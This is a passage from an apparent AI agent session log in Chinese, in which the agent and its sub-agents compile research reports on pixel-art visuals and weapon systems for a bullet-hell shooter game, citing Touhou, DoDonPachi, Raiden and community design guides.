高血量+强火力,尺寸跨度要大。\n- **做 hit 反馈**:受击要闪烁/粒子/抖动,配轻量音效,否则敌人像\"虚影\"(Boghog)。\n- **大判定+可预测移动**:弹幕游戏的挑战来自弹幕而非躲闪敌人本体,所以敌人受击判定要大、移动要慢且可预测(Boghog)。\n- **尺寸参考**:杂兵 16×16 ~ 24×24;中 Boss(miniboss)32×32~48×48;帧数 2~4 帧(多帧震动/开火动画)。\n\n### 2.2 Boss 的体型与细节层次\n\n- **体型梯度**:Boss 应显著大于杂兵(如 48×48、64×64 甚至 96×96),\"越大杀起来越爽\"(SLYNYRD),但不要大到遮挡弹幕视野。\n- **细节层次**:Boss 可以有更多层细节(多层装甲、发光炮口、悬浮部件/浮游炮),但**核心剪影仍需在弹幕中一眼可读**;建议给 Boss 的主炮口、弱点做高亮标记。\n- **Boss 血条分段**:许多 STG 用可视化的 Boss 血条分段(每段切换一个攻击模式),例如 Gamedeveloper 文章提到\"视觉上将 Boss 血条分段以显示本段攻击何时结束\"。\n- **Boss 出场仪式**:Boss 出现前要有\"警告留白\"(玩家无事可做、专注看字幕/警告),用于聚集注意力(Anatomy of a Shmup)。\n- **Boss 爆炸要\"壮观\"**:屏幕级闪光 + 大爆炸动画 + 碎片四散(见 4.1)。\n\n### 2.3 敌方攻击前的视觉预警(Telegraph)\n\n- **蓄力动画**:炮口发光→聚集→发射,是通用预警语言;用 2~4 帧\"粒子向炮口汇聚/炮口颜色渐亮\"表达。\n- **颜色变化**:攻击前单位变色(如变红/变亮)提示即将开火。\n- **激光预警**:东方系激光常见\"先显示一条细亮线(约半秒)再出现命中判定\",是纯粹靠视觉(而非判定)预告的典型做法(社区对永夜抄等作品的解读)。\n- **模式分阶段呈现**:Boss 战先出简单版弹幕→每次重复更快更密更狠(Bullet Pattern Design 教程),玩家靠\"渐进式预告\"进入节奏。\n- **背景预告**:关卡背景用\"地标/视觉节奏\"给玩家读版记忆的锚点(SLYNYRD Part 2)——背景不只是装饰,是记忆关卡的工具。\n- **弹幕扇面/轨迹预告**:可弯曲、可追踪的弹幕建议加尾迹或拉长精灵,让轨迹可读(Boghog)。\n\n---\n\n## 3. 子弹 / 弹幕的像素美术\n\n### 3.1 常见像素子弹样式与尺寸\n\n**东方/弹幕体系常用子弹类型命名**(Touhou Community Jargon、Danmakufu 文档):球(Ball)、椭圆弹、苦无(Kunai)、护符(Amulet)、星弹(Star 大/小)、音符(Note)、米粒/细菌弹、冰锥/碎片(Shard/Icicle)、箭头(Arrow)、火球、心形、花瓣、蝴蝶等。\n\n| 子弹类型 | 常见尺寸 | 形态与用途 |\n|---|---|---|\n| 小圆弹(Pellet/Tama) | 8×8 ~ 12×12 | 基础弹,最密集,靠数量形成弹幕 |\n| 中圆弹(Ball) | 16×16 | 通用主力弹,清晰可读 |\n| 椭圆弹(Oval) | 16×20 左右 | 带方向感/旋转感,常用于弯曲弹道 |\n| 苦无/箭形/导向弹(Directed) | 16×32 左右 | **方向性最重要**:图形应随移动方向旋转(SLYNYRD Part 2:箭头形追踪弹必须朝向运动方向) |\n| 大弹/特殊弹 | 24×24 / 32×32 | Boss 特殊弹、高伤弹 |\n| 激光(Laser) | 宽 4~16、长任意 | 预热细线→粗化→判定 |\n\n### 3.2 子弹颜色与类型的对应关系\n\n- **Danmakufu 官方 8 色**:RED、GREEN、BLUE、YELLOW、PURPLE、AQUA、ORANGE、WHITE——可作为色板起点,且激光与子弹共用这 8 色图形。\n- **颜色编码用途(Note 上\"15 个美丽弹幕\"文章 + Boghog)**:\n - 用颜色区分\"快弹 / 慢弹 / 装饰弹\"等**危险等级**,玩家读色即知威胁;\n - 颜色同时用于表达\"瞄准玩家的弹(aimed)\"与\"固定弹(static)\"等行为差异(各 STG 有自己约定,需在游戏内自学);\n - **红/粉/紫系是弹幕圈事实标准**:与常见特效颜色(黄橙爆炸、金色道具)冲突最少,不易混淆(Boghog 明确指出黄/橙传统弹容易与爆炸和金色道具撞色)。\n- **子弹颜色与发射单位颜色匹配**(SLYNYRD):敌方单位与它发射的子弹同色系,建立\"谁打的\"直觉。\n- **我方子弹用另一色系**(如青/绿白),与敌方红/粉/紫建立对战双方色系对立。\n\n### 3.3 子弹的动画帧设计(旋转、闪烁、脉动)\n\n- **闪烁(Flashing)**:双帧交替即可,对比越强越\"危险\",但对比过强高速移动时反而难追踪(SLYNYRD);常用于\"即将消失/即将命中\"状态。\n- **旋转(Rotation)**:星形、方形、椭圆可用 4~8 帧旋转;椭圆可做 Z 轴\"翻转\"来模拟 3D 感。\n- **脉动(Pulse)**:轻微膨胀-收缩,任何形状都适用,让子弹\"活着\"。\n- **波动/涟漪(Wobble/Ripple)**:CAVE(虫姬/怒首领蜂)子弹常用抖动+涟漪动画,作用是**抓住眼球并给每颗子弹独特身份**(Boghog)。\n- **动画帧数建议**:2D 旋转 4 帧(90°步进)起步、精细 8 帧;脉动 2~4 帧;闪烁 2 帧。帧率 12~15 FPS 贴合像素风。\n- **拖尾(Trail)**:轨迹不寻常(弯曲/追踪)的子弹加尾迹,帮助玩家预判(Boghog)。\n\n### 3.4 大量弹幕同屏时的视觉清晰度处理(核心)\n\n- **价值(Value)分层**:将图像转黑白即可检查——子弹应\"亮部+暗部紧挨\"(发光核心紧贴深色描边/内圈),最大化明度对比;背景用**低对比中间调**,让子弹可以用极值明度自由突出(Boghog)。\n- **描边(Outline)体系**:**敌方子弹用白色/亮色描边**(或亮+暗双描边),其他精灵用深色描边,从体系上把\"威胁\"和\"物体\"分开(SLYNYRD)。\n- **分块/分组(Chunking)**:把子弹编成线/环/簇等可读图案,让玩家读\"组合\"而非单颗;**单颗游离子弹最难读,容易显得不公平**(Boghog)。\n- **深度排序(Depth Sorting)**:敌方子弹永远绘制在自机、我方子弹、道具、爆炸之上;**小且快的子弹绘制在更大更慢的子弹之上**;单颗/小组绘制在大块之上(Boghog)。\n- **留隙(Design gaps)**:弹幕模式要\"设计缝隙\"——玩家能看见逃生路就公平,光炫但读不出路就让人感到不公平(note 文章)。\n- **限制换色**:单屏同时出现的弹色建议控制在 2~3 种(Boghog 风格惯例),避免信息过载。\n- **背景配合**:背景刻意保持暗/中调+低饱和,就是给子弹让出可读空间。\n\n---\n\n## 4. 特效与 UI\n\n### 4.1 爆炸特效的像素动画(SLYNYRD 方法)\n\n- **制作流程**:先用\"圆→扩张变细环\"的几何引导确定整体尺寸与扩张速率 → 把圆转成有机火焰团块 → 调团块运动。\n- **物理真实感原则**:热气先快后慢(热膨胀快、冷却变慢)→ 爆炸**先迅速扩张、后缓慢消散**。\n- **颜色演变**:**白炽(最亮)→ 暖色(红橙黄)→ 灰烟**消散。\n- **形态演变**:团块从整体一致→随扩张分裂为多而复杂的小块;暗部逐渐侵入;最大扩张后缓慢上浮并化为烟。\n- **冲击波**:把引导环稍作修改即可成冲击波环。\n- **Boss 爆炸**:屏幕级闪光 + 多层大爆炸 + 碎片残留(Anatomy of a Shmup 强调\"一切被摧毁的都应爆炸,Boss 阵亡必须是一场辉煌的灯光秀\")。\n- **尺寸建议**:爆炸精灵显著大于被摧毁单位(如单位 16×16 → 爆炸 24~48×24~48,8 帧左右);碎屑粒子 2~8 帧。\n\n### 4.2 拾取道具的视觉效果\n\n- **可读性优先**:道具必须一眼区别于\"威胁物\",形态独特 + **活跃的空闲动画**(idle animation)——旋转、漂浮、脉动、闪光都行(SLYNYRD Part 2)。\n- **经典道具色/形**:P(Power 火力,红色系)、S(Speed 速度)、Bomb(全屏雷)、1UP 生命、Heart 回血;建议固定配色约定(如红=火力、蓝=速度、金=得分)。\n- **分布与运动**:从特定敌人掉落 / 中立单位给予 / 随机入场;下落时做左右漂移、反弹、摇摆等\"伸手去接也有意思\"的运动。\n- **收集反馈**:拾取瞬间应有闪光+粒子+音效+分数飘字(详见 4.3)。\n- **点收集(Point of Collection)**:靠近屏幕顶端的一条\"自动收集线\"(东方系标准道具回收机制),线上道具全自动收集——UI/视觉上要有明确标识(例如顶部的装饰发光横线)。\n\n### 4.3 得分 / 连击的视觉反馈\n\n- **数字飘字**:得分/连击数用大号、亮色、带描边的像素数字,从事件点弹出并上浮淡出;字体建议用现成像素字体(如 Press Start 2P、Silkscreen 的开源替代)。\n- **连击(Combo/Chain)反馈**:连击计时条/乘数图标(如\"x2.5\")靠近 HUD 核心区;连击即将断时闪烁/变红制造紧张感(Dodonpachi 式\"防御性计分\"靠视觉压力驱动玩法)。\n- **擦弹(Graze)反馈**:子弹擦过判定外圈时给火花/星光 + 分数飘字,是东方系核心爽点,视觉上要有专门粒子。\n- **分数增长可视化**:让\"数字变大\"成为本能驱动(Boghog:大亮数字的成长本身就是激励)。\n- **层次化强调**:重要计分元素视觉上加强(更大更亮),次要元素弱化,让玩家一眼抓住当前目标(Boghog「Depth vs Clarity」)。\n\n### 4.4 血条、Bomb 数量等 HUD 设计\n\n- **HUD 基础要素**(STG 惯例):得分、连击/擦弹、自机数量(残机图标)、Bomb 数量(B 图标)、火力等级、Boss 血条(分段)、Boss 名/符卡名横幅、暂停/接关菜单。\n- **Boss 血条**:建议**分段色条**(每段对应一个攻击阶段),置于屏幕上方通栏;段末闪白提示\"即将切换攻击\"。\n- **Bomb 图标**:用典型\"B\"或者手雷/符卡造型的像素图标,数量用并列小图标表示(东方系风格:一枚 B 一颗星/符卡的排列)。\n- **残机(Lives)**:像素自机小图标排列,比数字更直观。\n- **注意遮挡**:HUD 元素放在玩法区之外(顶部/底部条)或半透明;Boghog 提醒玩家主要在屏幕中区活动,HUD 不应遮挡弹幕视野。\n- **风格统一**:HUD 的像素分辨率、色板、字体与游戏本体一致(CraftPix 等素材库提供现成 pixel UI,可直接适配)。\n- **像素 UI 素材参考**:CraftPix.net 的 Pixel Art Game UI 分类(免费/付费都有)。\n\n---\n\n## 5. 参考资源搜索汇总\n\n### 5.1 itch.io 免费/付费像素弹幕素材\n\n| 资源 | 内容 | 链接 |\n|---|---|---|\n| **Danmaku Sprite Pack**(Void dancer)| 模仿东方官方风格的子弹精灵包,免费,需遵守东方二次创作规约,可编辑 | https://void-dancer.itch.io/danmaku-sprite |\n| **Danmaku Sprite Pack(BDragon1727)** | 16×16 火/水/魔法子弹、特效精灵表,免费 | https://bdragon1727.itch.io/fire-pixel-bullet-16x16 、 https://bdragon1727.itch.io/free-effect-and-bullet-16x16 |\n| **Pixel SHMUP Ships / Pixel Art Spaceships for SHMUP**(DyLESTorm)| 免费 1 自机+2 敌机+2 弹幕+8 帧爆炸+UI;付费版 60 艘原创飞船 | https://livingtheindie.com/free-pixel-art-smhup-ships-game-asset 、 https://livingtheindie.itch.io/pixel-art-spaceships-for-shmup |\n| **Pixel Nebula Player SpaceShip**(PixelCarvel)| 32×32 自机,另有玩家僚机(Drone)、Boss 包、竖向背景包 | https://itch.io/game-assets/tag-bullet-hell |\n| **TopDown BulletHell Pack**(einav23)| $5.50 俯视角弹幕包(子弹+敌机+特效) | https://itch.io/game-assets/tag-bullet-hell |\n| **itch.io 筛选页** | `tag=Bullet Hell`、`tag=Shoot 'Em Up`、`tag=Pixel Art`、`Free` 组合筛选 | https://itch.io/game-assets/free/tag-pixel-art/tag-shoot-em-up 、 https://itch.io/game-assets/free/tag-bullet-hell/tag-sprites 、 https://itch.io/game-assets/free/tag-2d/tag-bullet-hell |\n\n### 5.2 OpenGameArt 免费素材(CC0/OGA-BY 授权)\n\n- **Explosions, Bullets, Fire etc (Pixel art)**:爆炸/子弹/火/电等离子精灵,干净像素风 | https://opengameart.org/content/explosions-bullets-fire-etc-pixel-art\n- **Assets Free Laser Bullets Pack 2020**(Wenrexa):66 个 CC0 激光/子弹 PNG,建议配 Color Dodge/Lighten 叠加渲染 | https://opengameart.org/content/assets-free-laser-bullets-pack-2020\n- **Enemy Spaceship 2D Sprites Pixel Art**(CraftPix 发布,OGA-BY 3.0):敌机精灵 | https://opengameart.org/content/enemy-spaceship-2d-sprites-pixel-art\n- **shmup 合集页**:https://opengameart.org/content/shmup\n\n### 5.3 经典 STG 精灵分析与弹幕设计参考\n\n- **Touhou Wiki - Hit box**:判定点机制与尺寸说明 | https://touhou.fandom.com/wiki/Hit_box 、 https://en.touhouwiki.net/wiki/Hitbox\n- **Touhou Danmakufu: Bullets(Fandom)**:8 色子弹系统 | https://touhou.fandom.com/wiki/Touhou_Danmakufu:_Bullets\n- **Touhou Community Jargon**:子弹类型名称大全(球/苦无/护符/星/音符/冰锥等)| https://maribelhearn.com/jargon\n- **Sparen's Danmaku Design Studio(Guide A2/A3)**:固定/随机/瞄准三种发射角、方向性子弹图形、环形公式 | https://sparen.github.io/ph3tutorials/ddsga2.html\n- **Boghog's bullet hell shmup 101**:弹幕游戏设计圣经(可见性/价值分层/深度排序/Toaplan 阵型等)| https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101\n- **Shmups Wiki 主站**:https://shmups.wiki\n- **Video Game Boss Design For Shmups**(GameDeveloper):血条分段与 Boss 战设计 | https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups\n- **The Anatomy of a Shmup**(GameDeveloper):爆炸、预告、难度交互清单 | https://www.gamedeveloper.com/design/the-anatomy-of-a-shmup\n- **Bullet Pattern Design(SHMUP WORKSHOP 03,YouTube)**:渐进难度/预告/引导玩家 | https://www.youtube.com/watch?v=ArZRZSYICLo\n\n### 5.4 像素艺术风格指南(教程/博客)\n\n- **SLYNYRD Pixelblog 31 - Shmup Design Part 1**:分辨率、自机、敌机、子弹、爆炸(本报告核心来源之一)| https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design\n- **SLYNYRD Pixelblog 32 - Shmup Design Part 2**:玩家射击类型(Vulcan/Laser/Homing)、道具、环境/视差 | https://www.slynyrd.com/blog/2021/2/15/pixelblog-32-shmup-design-part-2\n- **Pixel Art Tutorial - Understanding Explosions**(Penusbmic,itch.io 视频教程):爆炸动画两种做法 | https://penusbmic.itch.io/pixel-art-tutorial-understanding-explosions\n- **The 12 animation principles adapted for pixel art**(sprite-ai.art):低分辨率下的挤压拉伸/跟随动作 | https://www.sprite-ai.art/guides/animation-principles\n- **Aseprite / Piskel 爆炸教程**(YouTube 检索词:Aseprite pixel art explosion tutorial)\n- Piskel(免费在线像素编辑器):https://www.piskelapp.com\n\n### 5.5 建议搜索关键词(继续深挖用)\n\n`pixel art shmup sprites`、`bullet hell pixel art assets`、`STG sprite design`、`东方Project 像素风格`、`pixel art explosion animation`、`Touhou danmakufu bullet graphics`、`danmaku bullet sheets site:itch.io`、`shmup hitbox indicator`、`CAVE 子弹精灵拆解`\n\n---\n\n## 6. 给本项目落地落实的美术规范建议(可直接执行)\n\n1. **画布与倍率**:逻辑分辨率 **480×270(推荐)或 320×180**,整数倍放大 3~4 倍输出;所有精灵按 16 或 8 的倍数取尺寸(16×16 自机起步 / 32×32 精细自机;敌弹 8~16×16 系列;Boss 64×64)。\n2. **色板分工(建议)**:\n - 背景:低饱和中暗调(深蓝紫灰系),价值集中在中间调;\n - 敌方子弹:红/粉/紫系(8 色 Danmakufu 色板起步)+ 白/亮描边;\n - 我方子弹:青/绿白系 + 深描边;自机:高对比品牌色(如红白、蓝白);\n - 道具:金/橙(得分)、红(火力 P)、蓝(速度 S)、银灰(Bomb)——注意与敌弹色彩错开;\n - 爆炸:白→橙红黄→灰;\n - 预警:蓄力时变亮/变红,激光先亮细线。\n3. **动画帧数基线**:自机滚转 3~5 帧 + 尾焰 2~4 帧;敌机 2~4 帧;子弹旋转 4 帧(或 8 帧)、脉动 2~4 帧、闪烁 2 帧;爆炸 6~10 帧;道具 idle 2~4 帧。统一 12~15 FPS。\n4. **判定与显示**:自机真实判定用 2~4px 半径小圆,聚焦时显示同心空心圆 + 中心点(半透明+微旋),判定圈与显示圈完全同心。\n5. **绘制顺序(渲染层)**:背景 → 道具/粒子 → 我方子弹 → 敌人本体 → 我方自机 → **敌方子弹(最顶层)**;敌弹内部:小快弹 > 大慢弹。\n6. **工作流建议**:先用 itch.io/OpenGameArt 免费包搭出可玩原型(自机 1 + 敌机 3 + 子弹 5 种 + 爆炸 1 + UI 板),再按上述规范逐一套用原创精灵替换;调色与动画用 Aseprite(付费,推荐)或 Piskel(免费)。\n\n---\n\n## 7. 信息来源与可信度说明\n\n- **基于实测/原文提取的内容**(可信度高,可自行核验):SLYNYRD Pixelblog 31/32 全文、Boghog's bullet hell shmup 101 全文、void-dancer Danmaku Sprite Pack 页面、LivingTheIndie 免费 SHMUP 素材描述、各 itch.io/OpenGameArt 页面标题与标签。\n- **基于第三方社区/百科归纳**:Touhou Wiki 判定点机制(Hitbox 条目)、Maribel Hearn 的 Touhou Jargon、Sparen 弹幕教程、note 上\"15 个美丽弹幕\"文章、Reddit r/shmupdev 讨论——这些是社区整理,非官方文档,具体数值(如判定点像素大小、各作品子弹尺寸)以实际游戏/官方资料为准。\n- **标注为\"既有认知+\"的内容**(第 1.3 节东方风格总结):来自模型训练知识与社区资料交叉印证,非实时官方文档,**未逐一验证**,使用前建议对照东方官方立绘/游戏截图复核。\n- **价格为检索时点快照**(如 $5.50、$4.99),可能变动,以页面为准。", "line_start": 1, "line_end": 259, "total_lines": 259, "file_size": 25538, "char_count": 13230, "message": "已读取 research/pixel_art_style/pixel_art_research.md 的内容(行 1~259)"}}, "tool_call_id": "read_file_5", "name": "read_file"}, {"role": "tool", "content": "子智能体 #1 状态: running\n调用了15次\n阅读了0次文件\n编辑了0次文件\n搜索了0次内容\n查看了16个网页\n运行了3个指令\n调研经典弹幕射击游戏武器系统\n\n子智能体 #2 状态: running\n调用了11次\n阅读了0次文件\n编辑了0次文件\n搜索了0次内容\n查看了20个网页\n运行了1个指令\n调研弹幕射击游戏敌方弹幕模式", "timestamp": "2026-08-23T12:32:43.074991", "message_id": "msg_7805495c921c4c79a2359788cb238b19", "metadata": {"tool_payload": {"success": true, "results": [{"agent_id": 1, "found": true, "task_id": "sub_1_1787459389_fd8265", "status": "running", "summary": "调研经典弹幕射击游戏武器系统", "created_at": 1787459389.187212, "updated_at": 1787459561.649636, "deliverables_dir": "/Users/demo/starraid/research/weapon_system", "stats": {"runtime_start": 1787459389187.451, "runtime_seconds": 169, "files_read": 0, "write_files": 1, "edit_files": 0, "searches": 0, "web_pages": 16, "commands": 3, "api_calls": 15, "token_usage": {"prompt": 706788, "completion": 12185, "total": 718973}, "current_context_tokens": 89191, "compress_round": 0, "turn_count": 15}, "stats_summary": "调用了15次\n阅读了0次文件\n写入了1次文件\n编辑了0次文件\n搜索了0次内容\n查看了16个网页\n运行了3个指令", "final_result": null}, {"agent_id": 2, "found": true, "task_id": "sub_2_1787459391_a9b055", "status": "running", "summary": "调研弹幕射击游戏敌方弹幕模式", "created_at": 1787459391.223906, "updated_at": 1787459561.72753, "deliverables_dir": "/Users/demo/starraid/research/bullet_patterns", "stats": {"runtime_start": 1787459391224.0571, "runtime_seconds": 139, "files_read": 0, "write_files": 0, "edit_files": 0, "searches": 0, "web_pages": 20, "commands": 1, "api_calls": 11, "token_usage": {"prompt": 438417, "completion": 8577, "total": 446994}, "current_context_tokens": 76472, "compress_round": 0, "turn_count": 11}, "stats_summary": "调用了11次\n阅读了0次文件\n写入了0次文件\n编辑了0次文件\n搜索了0次内容\n查看了20个网页\n运行了1个指令", "final_result": null}]}}, "tool_call_id": "get_sub_agent_status_6", "name": "get_sub_agent_status"}, {"role": "user", "content": "[系统通知|sub_agent]\n✅ 子智能体1 任务摘要:调研经典弹幕射击游戏武器系统 已完成。\n\n调用了15次\n阅读了0次文件\n写入了1次文件\n编辑了0次文件\n搜索了0次内容\n查看了16个网页\n运行了3个指令\n\n运行了174秒\n\n已完成经典STG武器系统调研并生成报告。通过网络搜索(维基百科、Shmups Wiki、THBWiki、slynyrd Pixelblog等)收集东方Project、怒首领蜂、雷电、R-Type、Gradius等游戏资料,撰写 weapon_research.md(294行/约23.8KB,存放于 research/weapon_system/)。报告覆盖:①7类武器(散弹/集中/激光/追踪/环绕/蓄力/炸弹)的具体游戏例子与视觉描述(含幽幽子蝶弹定位说明);②升级系统(P道具、多级火力、武器切换、东方Power、怒首领蜂强化);③像素风格表现(子弹大小/形状/颜色/轮廓/闪烁、muzzle flash/尾迹/爆炸、武器视觉区分度、屏幕可读性设计);④14条像素落地设计建议与参考资料清单。文件已验证完整。\n\n交付目录:/Users/demo/starraid/research/weapon_system", "timestamp": "2026-08-23T12:32:43.376308", "message_id": "msg_0a63b884a6ff4725845f195e4c3d5c25", "metadata": {"runtime_injected": true, "source": "sub_agent", "inline": true, "is_auto_generated": true, "auto_message_type": "runtime_sub_agent", "message_source": "sub_agent", "runtime_guidance": true, "runtime_guidance_original": "✅ 子智能体1 任务摘要:调研经典弹幕射击游戏武器系统 已完成。\n\n调用了15次\n阅读了0次文件\n写入了1次文件\n编辑了0次文件\n搜索了0次内容\n查看了16个网页\n运行了3个指令\n\n运行了174秒\n\n已完成经典STG武器系统调研并生成报告。通过网络搜索(维基百科、Shmups Wiki、THBWiki、slynyrd Pixelblog等)收集东方Project、怒首领蜂、雷电、R-Type、Gradius等游戏资料,撰写 weapon_research.md(294行/约23.8KB,存放于 research/weapon_system/)。报告覆盖:①7类武器(散弹/集中/激光/追踪/环绕/蓄力/炸弹)的具体游戏例子与视觉描述(含幽幽子蝶弹定位说明);②升级系统(P道具、多级火力、武器切换、东方Power、怒首领蜂强化);③像素风格表现(子弹大小/形状/颜色/轮廓/闪烁、muzzle flash/尾迹/爆炸、武器视觉区分度、屏幕可读性设计);④14条像素落地设计建议与参考资料清单。文件已验证完整。\n\n交付目录:/Users/demo/starraid/research/weapon_system", "visibility": "compact", "starts_work": false, "task_id": "sub_1_1787459389_fd8265"}}, {"role": "assistant", "reasoning_content": "太好了!子智能体1也完成了。让我读取它的报告,同时继续等待子智能体2。", "content": "**子智能体1(武器系统)** 也完成了!让我读取报告,同时检查子智能体2的状态。", "timestamp": "2026-08-23T12:32:50.638928", "message_id": "msg_c123e3a92c5446d39dc6a94c26564933", "metadata": {"model_key": "kimi-k2.6"}, "tool_calls": [{"id": "read_file_7", "index": 0, "type": "function", "function": {"name": "read_file", "arguments": "{\"intent\": \"读取武器系统调研报告\", \"path\": \"research/weapon_system/weapon_research.md\", \"type\": \"read\"}"}}, {"id": "get_sub_agent_status_8", "index": 1, "type": "function", "function": {"name": "get_sub_agent_status", "arguments": "{\"intent\": \"检查子智能体2状态\", \"agent_ids\": [2]}"}}]}, {"role": "tool", "content": "读取 research/weapon_system/weapon_research.md 行 1~295 (max_chars=50000)\n```\n# 经典弹幕射击游戏(STG)武器系统调研报告\n\n> 调研主题:经典弹幕射击游戏(STG / Bullet Hell)的武器系统设计与像素风格表现\n> 调研日期:2026-08-23\n> 信息来源:网络公开资料(维基百科、Shmups Wiki、THBWiki/东方维基、slynyrd Pixelblog、各游戏官方/玩家社区资料),详见文末「参考资料」\n\n---\n\n## 目录\n\n1. [概述](#1-概述)\n2. [玩家武器类型分类](#2-玩家武器类型分类)\n3. [武器升级系统](#3-武器升级系统)\n4. [像素风格表现](#4-像素风格表现)\n5. [像素 STG 武器视觉设计建议(落地清单)](#5-像素-stg-武器视觉设计建议落地清单)\n6. [参考资料](#6-参考资料)\n\n---\n\n## 1. 概述\n\n弹幕射击游戏(Shoot 'em up / STG,日式弹幕习惯称「弹幕射击」或 Bullet Hell)的核心设计循环是:**在布满敌方子弹的屏幕中移动自机、同时用自机武器持续输出**。因此武器系统承担着三重职责:\n\n1. **输出手段**:决定清杂(popcorn)与打 BOSS 的效率;\n2. **玩法差异化**:不同武器/机体提供不同的操作手感与策略分支;\n3. **视觉语言**:武器是玩家在屏幕上\"属于自己\"的元素,必须与敌弹、背景清晰区分。\n\n本报告以三条经典主线为调研对象:\n\n- **东方Project**(ZUN / 上海爱丽丝幻乐团,PC 弹幕标杆,自机武器+符卡 BOMB 体系)\n- **怒首领蜂系列**(CAVE,街机弹幕始祖,Shot/Laser 双模式 + Hyper 系统)\n- **雷电系列**(Seibu Kaihatsu,经典街机纵版,多武器切换 + 8 级火力)\n- 辅以 **R-Type(蓄力/力球)**、**Gradius(升级条/子机)** 等横版经典作补充\n\n> 说明:调研发现,任务描述中提到的「东方Project 的幽幽子」并非自机散弹武器,而是《东方妖妖梦》的 BOSS(西行寺幽幽子)。她的招牌弹幕是**蝶弹(蝴蝶形状子弹)大面积散开**,属于\"散布型弹幕\"视觉范式,可作为散弹/散布弹幕的视觉参考;东方自机散弹的典型例子是灵梦 C(Youkai Buster)、魔理沙 A(Spread Star)、东风谷早苗等,本报告两部分都会覆盖。\n\n---\n\n## 2. 玩家武器类型分类\n\n### 2.1 散弹(Spread Shot)\n\n**定义**:向前方扇形/多方向发射大量小弹丸,覆盖范围宽、清杂效率高,但单发伤害分散,对单体(BOSS)总伤害通常低于集中火力。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 雷电系列 | **Vulcan(红色道具)** | 初始武器,升级后弹幕从 2 连装→3→4 连装、散布角逐渐加宽(最多 7 方向);视觉上是一排并排的小弹丸扇形散开 |\n| 怒首领蜂 | **Shot(点按 A 键)** | 标准\"spread\"散弹,覆盖面比激光宽;Shot Type 强化后散弹密度/威力翻倍;视觉为密集白色/浅色小弹丸 |\n| 东方 Project | **灵梦 C(Youkai Buster/妖怪破坏者)**、**魔理沙 A(Spread Star/散星)** | 道中清杂强、BOSS 输出低;散布的弹丸+子机(Option)向两侧展开 |\n| 东方(BOSS 视觉范本) | **西行寺幽幽子的蝶弹(死蝶「華胥の永眠」等)** | 以**蝴蝶形状子弹**大面积散开铺满屏幕,是\"散布型弹幕\"最经典的视觉形态之一 |\n\n**设计要点**:散弹的关键是\"扇面角度 + 弹丸数量 + 弹丸间距\"三个可调参数。升级时优先扩展扇面角度或增加弹丸密度,让玩家能直观看到\"火力变强了\"。\n\n---\n\n### 2.2 集中射击(Focus Shot)\n\n**定义**:把所有火力集中在自机正前方一小条区域,单发伤害高(DPS 高),适合贴脸(pointblanking/Shotgunning)打 BOSS,但因覆盖窄需要瞄准走位。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **低速模式(按住 Shift)时的射击**:灵梦「博丽灵符/封魔针」、魔理沙「非指向性激光/高速射击」 | 高速移动时是散弹,按住 Shift 进入低速(目押)模式后,射击自动收拢为**前方集中的高伤害火力**;视觉上弹丸从\"散开\"变为\"一束\" |\n| 怒首领蜂 | **Laser 模式**(见 2.3) | 东方把\"集中\"做成独立模式,怒首领蜂则直接把集中形态做成持续光束 |\n| 风神录 灵梦 B | **Forward Focus Type(Sealing Needle/封印针)** | 正前方集中射击型,BOSS 战伤害高、道中需要编排走位 |\n\n**设计要点**:集中射击通常与\"低速/精确操控\"绑定,视觉上要和散弹形成**一收一放**的对比——弹丸收拢成束、必要时加一条细光束/光线提示\"伤害集中\"。\n\n---\n\n### 2.3 激光 / 光束武器(Laser)\n\n**定义**:持续输出的光束型武器。特点:判定穿透(可打穿一排敌人)、伤害集中、通常伴随机体减速或能量光环(Aura)。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 怒首领蜂 | **Laser(按住 A 键)** | 大型窄光束,最强武器(对 BOSS 首选);Laser Type 可穿透杂鱼、激活更快;激活时机身周围出现 **Aura(灵气光环)**,贴脸时激光+Aura 双重伤害;使用激光时自机减速便于精确躲避 |\n| 雷电系列 | **Laser(蓝色道具)/ Plasma Laser(紫色道具)** | 直线激光,升级增加光束数量与威力;Plasma 激光**可吸附高 HP 敌人并弯曲**(追击相邻目标) |\n| 东方 Project | **魔理沙(Illusion Laser/幻影激光)**、B 型穿透激光 | 穿透型光束;妖妖梦起有\"非指向性激光\"(按住时发射贯穿激光) |\n\n**设计要点**:\n- 光束是**连续**的,区别于散弹的**离散弹丸**——视觉上用粗、直、持续的光柱 + 起点处的光晕做区分;\n- 激光与\"机体周围光环\"绑定是怒首领蜂的标志性设计,光环既是伤害来源也是视觉提示(\"你现在是激光模式\");\n- 注意激光模式下机体的移动速度降低,这是手感上的重要反馈。\n\n---\n\n### 2.4 追踪弹 / 制导武器(Homing)\n\n**定义**:发射后自动追踪敌人的弹药。上手简单、道中省心,代价是单发伤害低、无法集中打同一目标。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **灵梦 A(Homing Amulet/诱导灵符)** | 非集中模式为追踪弹,自动锁定敌人;集中模式切换为前方直射 |\n| 雷电系列 | **Homing Missile(H 道具)** | 子武器系统,追踪导弹自动飞向敌人 |\n| R-Type | **Homing Missile** | 与主炮同时发射的追踪导弹 |\n\n**设计要点**:追踪弹必须**视觉上可读——弹丸带明显的\"转弯/锁定\"行为**(一开始直线、接近目标时转向),并常伴随尾迹(trail)以表现导弹感。像素下建议用 1-2 像素的小弹丸 + 短尾迹 + 发光的\"引导火\"。\n\n---\n\n### 2.5 近战 / 环绕武器(Orbit / Force / Option)\n\n**定义**:不(仅)发射弹丸,而是以\"挂在自机上的物体\"进行接触伤害、挡子弹,或跟随自机复制射击。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| R-Type | **Force Pod(力量球)** | 可以发射出去、也可以收回挂在机头的球体;接触敌人造成伤害、可阻挡子弹 |\n| 怒首领蜂 | **Laser Aura** | 激光激活时机身周围的环状灵气,接触即伤害(贴脸加成) |\n| Gradius | **Option(子机)** | 发光的无敌球体尾随自机,复制自机射击,可堆 2-4 个 |\n| 东方 Project | **子机(Option)**:风神录后 P 道具主要增加子机数量 | 子机在自机两侧/前后跟随发射,火力升级的直观表现 |\n\n**设计要点**:环绕武器是最能体现\"火力等级\"的视觉载体——**子机数量=火力等级**是东方风神录之后的通用做法,玩家一眼可读。像素下子机用发光的小球/小符纸 + 